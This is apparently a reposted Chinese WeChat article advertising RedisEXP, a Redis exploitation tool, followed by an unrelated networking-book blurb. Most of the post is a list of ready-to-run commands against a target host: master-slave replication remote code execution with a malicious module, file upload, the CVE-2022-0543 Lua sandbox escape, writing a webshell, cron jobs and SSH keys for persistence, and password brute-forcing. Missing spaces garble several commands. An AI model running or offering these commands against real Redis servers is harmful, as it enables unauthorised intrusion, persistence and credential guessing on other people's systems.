===================================
0x01 工具介绍
Redis 漏洞利用工具。
0x02 安装与使用
常用命令：
主从复制命令执行:RedisExp.exe -rhost192.168.211.131-lhost192.168.211.1-execRedisExp.exe -rhost192.168.211.131-lhost192.168.211.1-exec-consoleLinux:RedisExp.exe -rhost192.168.211.131-lhost192.168.211.1-exec-so exp.soRedisExp.exe -rhost192.168.211.131-lhost192.168.211.1-exec-console -so exp.so主从复制文件上传:RedisExp.exe -rhost192.168.211.131-lhost192.168.211.1-rfile dump.rdb -lfile dump.rdb -upload主动关闭主从复制:RedisExp.exe -rhost192.168.211.131-slaveofLua沙盒绕过命令执行 CVE-2022-0543:RedisExp.exe -rhost192.168.211.131-lua -console备份写 Webshell:RedisExp.exe -rhost192.168.211.131-shellLinux 写计划任务:RedisExp.exe -rhost192.168.211.131-crontabLinux 写 SSH 公钥:RedisExp.exe -rhost192.168.211.131-ssh爆破 Redis 密码:RedisExp.exe -rhost192.168.211.131-brute -pwdf ../pass.txt执行 Redis 命令:RedisExp.exe -rhost192.168.211.131-cli
0x03 项目链接下载
· 推 荐 阅 读 ·
全书按照网络协议模型自下而上有系统地介绍了计算机网络的基本原理，并结合Internet给出了大量的协议实例。在讲述网络各层次内容的同时，还与时俱进地引入了z新的网络技术，包括无线网络、3G蜂窝网络、RFID与传感器网络、内容分发与P2P网络、流媒体传输与IP语音，以及延迟容忍网络等。本书的适用对象非常广泛。由于本书的重点立足于计算机网络的基本原理，同时兼顾了Internet体系结构与TCP/IP协议等内容
原文始发于微信公众号（Web安全工具库）：Redis 漏洞利用工具 -- RedisEXP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论